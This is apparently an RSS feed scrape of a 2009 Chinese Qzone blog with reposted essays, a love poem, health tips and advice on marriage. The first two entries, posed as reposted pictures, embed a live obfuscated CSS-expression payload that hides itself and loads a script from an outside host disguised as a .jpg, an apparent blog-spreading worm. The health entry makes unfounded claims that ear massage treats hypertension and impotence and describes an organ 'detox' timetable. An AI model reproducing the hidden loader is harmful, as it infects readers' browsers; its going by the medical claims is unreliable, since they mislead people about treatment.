<![CDATA[如月]]> http://370720601.qzone.qq.com Sat, 28 Nov 2009 22:47:05 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 26 Nov 2009 07:58:22 GMT <![CDATA[[转]好玩又好看的美女]]> http://370720601.qzone.qq.com/blog/1259222302 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://370720601.qzone.qq.com/blog/1259222302#comment 5640 Thu, 26 Nov 2009 07:58:22 GMT http://370720601.qzone.qq.com/blog/1259222302 <![CDATA[[转]好玩又好看的美女]]> http://370720601.qzone.qq.com/blog/1259222292 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://370720601.qzone.qq.com/blog/1259222292#comment 5640 Thu, 26 Nov 2009 07:58:12 GMT http://370720601.qzone.qq.com/blog/1259222292 <![CDATA[有一种成功不值得羡慕]]> http://370720601.qzone.qq.com/blog/1259110754 很多人想成为纵横驰聘的骏马，成为搏击长空的雄鹰。。。。他们总想超越自己，这也许是人类的优点，但有时候又常是不幸的根源。对绝大多数人来说，成功是他们一生追求的目标，可是在人生路上，衡量成功还是失败绝非只有这个唯一的标准，而且我们还应该考虑一下，我们为了这个“成功”付出了怎样的代价，是得大于失，还是失大于得。
对成功的定义，应该说是仁者见仁，智者见智。有的人认为腰缠万贯才是成功，但有时财富往往与幸福无关。“虽然财富可以给人带来幸福感，但并不是代表财富越多人越快乐”。一旦人的基本生存需要得到满足，那么，多一元钱的增加对快乐都不再具有任何特别的意义，换句话说，到了这个阶段，金钱就无法算成幸福和快乐了。
如果每个人在追求金钱的过程中，忽略了亲情，失去了友情，更放弃了对生命中其他美好方面的享受，到最后即便成了亿万富翁，不也难以摆脱孤独和惆怅的纠缠吗？所以并非是金钱决定了我们的愿望和需要，而是我们的愿望和需求决定了金钱和地位对我们的意义。
有的人还认为只有拥有了成名才意味着成功，殊不知，功名利禄不过是过眼云烟，生命的辉煌恰恰隐藏在平凡生活的点滴之中。还有的人认为权倾一时就是成功，可是，你比李白官高五品又怎么样呢？你能像他那样永远青史留名吗？更有人认为出类拨尖才是成功，平庸就意味着失败，可政治家发现，那些脚踏实地，实事求是的人往往比好高骛远的人快乐得多。
其实谁也不至于活的一无是处，谁也不能活的了无遗憾。一个人不必太在乎自己的平凡，平凡可以是生命更加真实；一个人不必太在乎未来会如何，只要我们努力过，未来一定不会让我们失望；一个人不必太在乎别人如何看自己，只求自己能安心；一个人不必太在乎得失，人生本来就是得失无常。
一个人要想生活的快乐，就要学会根据自己的实际情况来调整奋斗目标，适当压制心底的欲望。不要因为自己的才会平庸而闷闷不乐，生活中，智慧和快乐并无联系，反倒是“聪明反被聪明误”、“傻人有傻福”的例子俯拾皆是。
很多人年轻的时候无忧无虑地生活，虽然没有钱，没有名，也没有地位，但是他们真的很快乐，什么都不用想，只做自己喜欢做的事，可是当他们开始追求人人向往的传说中能带给他们幸福快乐的各种东西之后，却渐渐发现自己不得不放弃那些他们真正想做的事情了，但他们得到的却并没有给他们带来快乐，带来的只是负担，压得他们无法追求别的东西，压得他们无法追求自己真正的梦想。这时他们往往会变得痛苦不堪，并且一遍一遍地问自己：“为什么得到的都是我不想要的，而我想要的却总是得不到？”
其实，从某种意义上讲，人生当中，一个男人最大的成就是有一位号妻子，一个女人最大的成就是有一个好孩子，一个孩子最大的成就是心理和生理都能健康地成长。因此生活应该选择顺其自然，如果你醒着，你就当清醒；如果你睡着，你就当甜睡，而不要强迫自己一定要成功。
人生是公平的，你想活得随意，就只能活得平凡点；你想活得辉煌，就只能活得痛苦点；你想活得长久，就只能活得简单点。 ]]> http://370720601.qzone.qq.com/blog/1259110754#comment 134218240 Wed, 25 Nov 2009 00:59:14 GMT http://370720601.qzone.qq.com/blog/1259110754 <![CDATA[[转]在爱的路上等你]]> http://370720601.qzone.qq.com/blog/1258988930
在爱的路上等你


一次偶然的相遇，
无意间荡起心湖的涟漪。
一股欢乐柔和的清风，
悄然吹入我的记忆。

难忘莫名的心跳不已，
渴望那份醉人的甜蜜。
在风的轻歌细语中，
我读懂了、那是深深的情意。

相遇、相识、相知、相惜，
缘分的天空下我们共同呼吸。
无论身置天南海北，
心里总有一块属于你的圣地。

假如岁月之手抹去所有的记忆，
唯有你的音容存于心底，
春花秋实寒来署去，
想你恋你一如往惜。

即便有一天我从你的梦里消失，
也不曾忘记相遇的美丽。
当轻风浅唱、雁字回时，
我依然在爱的路上等你……


]]> http://370720601.qzone.qq.com/blog/1258988930#comment 4109 Mon, 23 Nov 2009 15:08:50 GMT http://370720601.qzone.qq.com/blog/1258988930 <![CDATA[[转]请爱护自己的身体]]> http://370720601.qzone.qq.com/blog/1258592735 身体器官的休息时间

一、晚上9-11点为免疫系统（淋巴）排毒时间，此段时间应安静或听音乐。
二、晚间11-凌晨1点，肝的排毒，需在熟睡中进行。
三、凌晨1-3点，胆的排毒，亦同。
四、凌晨3-5点，肺的排毒。此即为何咳嗽的人在这段时间咳得最剧烈，因排毒动作已走到肺；不应Medicine，以免抑制废积物的排除。
五、凌晨5-7点，大肠的排毒，应上厕所排便。
六、凌晨7-9点，小肠大量吸收营养的时段，应吃早餐。疗病者最好早吃，在６点半前，养生者在７点半前，不 吃早餐者应改变习惯，即使拖到９、10点吃都比不吃好。
七、半夜至凌晨4点为脊椎造血时段，必须熟睡，不宜熬夜 ，手、脚、身体各个穴位所对应的内脏 (图)
下面这几张图显示了，咱们的手、脚、身体各个穴位所对应的内脏。按摩的时候，对准穴位下力，才能对我们身体有益。


如图所示，比如我们的脚趾分别代表了我们眼睛和耳朵，而整个脚底就相当于人体身体的主干。
下面是手

身体是革命的本钱，学会了自己给自己按摩一下吧。
拉拉耳朵养护全身器官
肾是人体重要脏器之一，乃先天之本。肾脏功能是否正常，对健康长寿有着举足轻重的作用。
　　 中医五行学说认为，肾主藏精，开窍于耳，医治肾脏疾病的穴位有很多在耳部。所以经常进行双耳锻炼法，可起到健肾壮腰、养身延年的作用。
　　一、提拉耳垂法 双手食指放耳屏内侧后，用食指、拇指提拉耳屏、耳垂，自内向外提拉，手法由轻到重，牵拉的力量以不感疼痛为限，每次3~5分钟。此法可治头痛、头昏、神经衰弱、耳鸣等疾病。
　　二、手摩耳轮法 双手握空拳，以拇、食二指沿耳轮上下来回推摩，直至耳轮充血发热。此法有健脑、强肾、聪耳、明目之功，可防治阳痿、尿频、便秘、腰腿痛、颈椎病、心慌、胸闷、头痛、头昏等病症。
　　三、提拉耳尖法 用双手拇、食指夹捏耳廓尖端，向上提揪、揉、捏、摩擦15~20次，使局部发热发红。此法有镇静、止痛、清脑明目、退热、抗过敏、养肾等功效，可防治高血压、失眠、咽喉炎和皮肤病。
　　四、搓弹双耳法 两手分别轻捏双耳的耳垂，再搓摩至发红发热。然后揪住耳垂往下拉，再放手让耳垂弹回。每天两三次，每次20下。此法可促进耳朵的血液循环，有健肾壮腰之功效。
　　五、双手拉耳法 左手过头顶向上牵拉右侧耳朵数十次，然后右手牵拉左耳数十次。这一锻炼还可促进颌下腺、舌下腺的分泌，减轻喉咙疼痛，治慢性咽炎。
　　六、双手掩耳法 两手掌掩两耳廓，手指托后脑壳，用食指压中指弹击24下，可听到“隆隆”之声，曰击“天鼓”。此刺激可活跃肾脏，有健脑、明目、强肾之功效。
　　七、全耳按摩法 双手掌心摩擦发热后，向后按摩腹面(即耳正面)，再向前反折按摩背面，反复按摩5~6次。此法可疏通经络，对肾脏及全身脏器均有保健作用。
　　八、双手扫耳法 以双手把耳朵由后面向前扫，这时会听到“嚓嚓”的声音。每次20下，每日数次，只要长期坚持，必能强肾健身。
　　以上八法，可根据各人所需选择，或单项或几项配合进行，只要能持之以恒，一定能收到理想的效果。
简单易学的强肾健体保健法
祖国传统医学认为，肾为先天之本，生命之源，肾气充盈，则精力充沛，筋骨强健，步履轻快，神思敏捷，肾气亏损则阳气虚弱，腰膝酸软，易感风寒，生疾病等。　　肾虚病症有阴虚、阳虚之分。 　　肾阴虚者，有肺热、咽燥、腰膝酸软、头晕耳鸣、舌苔偏红等症状。
　　肾阳虚者，常见有肢体畏寒、精神萎靡、腰酸耳鸣、舌淡、体胖等症状。
　　中医认为，肢体的功能活动，包括关节、筋骨等组织的运动，皆由肝肾所支配，故有“肾主骨，骨为肾之余”的说法，因此坚持体育锻炼，以取得养筋健肾、舒筋活络、畅通气脉、增强自身抵抗力之功效，从而达到强肾健体目的。散步、慢跑、打球、做操、练拳舞剑等，都是不错的锻炼项目。下面介绍几个简单的保健方法，您可以试试。
　　搓擦腰眼：两手搓热后紧按腰部，用力搓30次。“腰为肾之府”，搓擦腰眼可疏通筋脉，增强肾脏功能。
　　揉按丹田：两手搓热，在腹部丹田处按摩30~50次。丹田乃人之真气、真精凝聚之所，为人体生命之本。此法常用之，可增强人体的免疫功能，提高人体的抵抗力，从而达到强肾固本的目的，有利于延年益寿。
　　发“吹”音　“吹”与肾相应，肾属水，故有滋养肾水的功效。反复做6~9遍。
　　另外，心脏对应的是“呵”音，肝脏对应的是“嘘”的音，脾对应的是“呼”的音，肺对应的是“斯”的音，三焦对应的是“唏”的音。发音的时间长一些，次数多一些。
　　健脾通胃肠气的保健方法：
　　双手重叠，顺时针绕肚脐揉腹，以通为主，可促进胃肠气通畅，逆时针绕肚脐揉腹，则以补为主，可起到健脾作用，便秘患者，多顺时针揉，脾虚者，则加逆时针揉，每次300~500下，每天1~2次。

祝福朋友们都有一个健康的好身体！ ]]> http://370720601.qzone.qq.com/blog/1258592735#comment 134218249 Thu, 19 Nov 2009 01:05:35 GMT http://370720601.qzone.qq.com/blog/1258592735 <![CDATA[已婚女人应有什么样的风采]]> http://370720601.qzone.qq.com/blog/1257944043 　　已婚女人一定要有自己的爱好，我觉的还是要多看书，“腹有诗书气自华”，聆听过古典音乐的耳朵，欣赏过世界名画的眼睛，吟诵过唐诗宋词的嘴巴，所表现出来的优雅和高贵，是任何化妆品也修饰不出来的。爱家庭，不要拘泥于家庭，已婚女人至少要有两个好朋友，男女各一。女朋友是用来探讨和总结生活经验的，一起去逛街，喝茶，买衣服。男朋友是用来倾诉和讨怜惜的，他会给予你欣赏和肯定，并且从男人的角度帮你解析这个世界，这种感觉和老公的爱是不同的。
　　已婚女人疼老公，爱孩子，要更加珍惜自己。给他买名牌服饰，自己也要穿得体的时装。尤其是内衣和睡衣，一定买上好的品牌，这样不仅穿着舒适，还有款有型。千万不要买地摊上的便宜货，穿给最亲密的人看，要让他感觉出你的娇柔妩媚。不要乖乖在家等他深夜归来，你也可以去泡吧，跳舞，放松一下自己，不要怕他不高兴，让他知道“州官可以放火，百姓也可以点灯”，晚归不是男人的专利，应酬也不是男人的特权。这样他会收敛，不会让你夜夜独守空房。
　　已婚女人一定要用你的温柔和爱心营造出一个温馨和谐的家庭氛围。在物欲横流的今天，男人在外面打拼也是很辛苦的。回到家，要把浮躁喧嚣关在门外，让他得到心灵的宁静。成功了，为他高兴，失败了，要告诉他“夫妻能长相厮守，一家人都平安健康，就是最大的幸福”。要有一颗平常心，千万不要说“谁的老公买了新别墅，谁又换了新车”这样的话来刺他，那会很伤他自尊，也会让他鄙视你。还有一定要善待老公的父母，不需要去刻意迎合，把他们当作自己的爸妈就好了。这样老公会感谢你的贤惠懂事，也会以加倍的爱回报你的亲人。
　　还有一点就是不要轻易怀疑你的老公。每个女人都渴望，在漫长的人生路上，和亲密的人牵手而行，寸步不离，然而现实情况是，他总会象个孩子，撇下你，一个人跑到前面，或者落到后面，被路旁的花花草草所吸引，追蜂逐蝶，忘乎所以。女人不要太计较，只要他在风雨来临时，回来为你遮风挡雨，就不失为好男人。有许多时候，不是男人想离开，而是妻子发现了一点蛛丝马迹，就好象大祸临头，去单位闹，找亲人哭诉，也许这时候什么还没有发生，却闹成了已成事实的局面。你的小气和多疑，正好反衬出情敌的温柔和宽容。你不留一点余地，而把丈夫推到别人身边。如果发现异常，你一定要冷静，只需要适时点一下，他便会回心转意的。在丈夫心中，娇妻爱子，辛苦建立的家庭是他的珍宝，千金难买、千城不换的！一般的男人都缺乏“推倒一切重来”的勇气，不到万不得已，他不会抛开。你要相信这一点，不要整天岌岌自危，而要让他有心理压力，怕这么冰雪聪明，温柔明理的妻子被别人抢走。
　　已婚的女人，虽然没有夏花的热烈绚丽，却有着秋菊的幽雅娴静。知识让你厚重，气质让你美丽，经历让你从容。已婚的女人，是在经营一个家庭，在征服一个男人，同时还要不断完善自己，做到让老公以你为傲，让孩子以你为荣，展现你的十足魅力，活出你的风采来吧！ ]]> http://370720601.qzone.qq.com/blog/1257944043#comment 134218240 Wed, 11 Nov 2009 12:54:03 GMT http://370720601.qzone.qq.com/blog/1257944043 <![CDATA[[转]好书大家读 （中国精典文书链接）]]> http://370720601.qzone.qq.com/blog/1257766248
全宋词 全唐诗 徐志摩诗文 三毛文集 纪弦文集 席慕容诗文 泰戈尔诗集 中国民间故事网 纳兰容若词全集 张爱玲文集 纪伯伦文集 张晓风经典散文集
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]]> http://370720601.qzone.qq.com/blog/1257766224#comment 134234633 Mon, 09 Nov 2009 11:30:24 GMT http://370720601.qzone.qq.com/blog/1257766224 <![CDATA[[转]梦见我的时候那是我想你了]]> http://370720601.qzone.qq.com/blog/1257766192


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亲 爱 的 好 想 让 你 抱 抱 我
很喜欢拥抱，喜欢与心爱的人深情相拥的感觉，什么也不说，什么也不做，就只是静静地拥抱，久久不要分开，似乎只有这样，才能体会与心爱的人真正溶为一体的真实感。在那一刻，相信时间也会为我们停止的。。。




　　 一直以来都觉得，拥抱，较之亲吻更加真实、温馨，那个可以让你依靠的胸膛一定是很温暖的，肩膀也一定很坚实。不然为什么大家在伤心哭泣的时候，总想找个肩膀来依靠呢，

　 我想，其实更多地是想要一个拥抱吧。
　　 拥抱的时候，内心会溢满一种叫甜蜜的情愫，拥抱的感觉是真实和安全的，因为拥抱是有温度的，拥抱是有声音的。。。。。。
[m]
　　
　　　　拥抱的含义有很多：
　　　　情侣间的拥抱，是幸福甜蜜的；
　　　　夫妻间的拥抱，是宽容理解的；
　　　　朋友间的拥抱，是贴心信任的；
　　　　吵架后的拥抱，代表妥协与原谅；
　　　　相逢后的拥抱，代表思念与激动；
　　　　离别前的拥抱，代表不舍与期待。。。
　　　 ………………

　　　拥抱，是无声的语言，拥抱，是最简单的接受与认可。。。
　　 拥抱的时候，彼此是被需要的，被别人需要是时候，是一个人最有价值的时候。。。

　　 曾经在篇文章上看到一段话：当一个女人从背后抱着你的时候，请一定别再挪动脚步，而请转过身，紧紧抱着自己的女人。因为，当一个女人愿意从背后深情抱着你的时候，代表着她把自己的身心都交给了你，那拥抱里，有着太多太多的爱。。。

　　 当一个男人从背后拥抱着自己的女人，两人的感觉是温馨和甜蜜的；当一个女人从背后拥抱着自己的男人，女人是无声的祈求，而男人是心的复归和宁静。。。

　　 亲爱的，你曾经说过，好想累的时候能抱着我，其实，我又何尝不想呢，累的时候，好想你能在身边，无需太多言语，只要一个拥抱，再苦再累都值得。。。

　　 也好想，能够在你累的时候，从身后环住你的腰，把脸轻轻靠在你的后背，静静地，无需语言，用心灵对话，倾听彼此内心的声音。。。

　　 亲爱的，不能守在你的身边，不能在你伤心难过的时候给你安慰；不能在你累的时候给你拥抱；也不能在你喝醉的时候假装很生气的臭骂一顿，然后再把你带回家；更看不到你面，对这么多不可能时的无奈与心酸。。。

　 可是，我是可以体会你的心情的，因为，在你倍受思念痛苦的同时，我和你是一样的，
　　 可是我们别无选择亲爱的。。。。。。

　　 可是，亲爱的，你怎么不在我身边，电话再甜美，传真再安慰，也不足以应付不能拥抱你的遥远。
　　 拥抱，真得这么遥不可及吗？
　　 请相信我，我会用我的双臂，在你看到我的第一眼时拥你入怀。
　　 亲爱的，好想好想你，好想好想累的时候能抱抱你。


]]> http://370720601.qzone.qq.com/blog/1257662240#comment 4105 Sun, 08 Nov 2009 06:37:20 GMT http://370720601.qzone.qq.com/blog/1257662240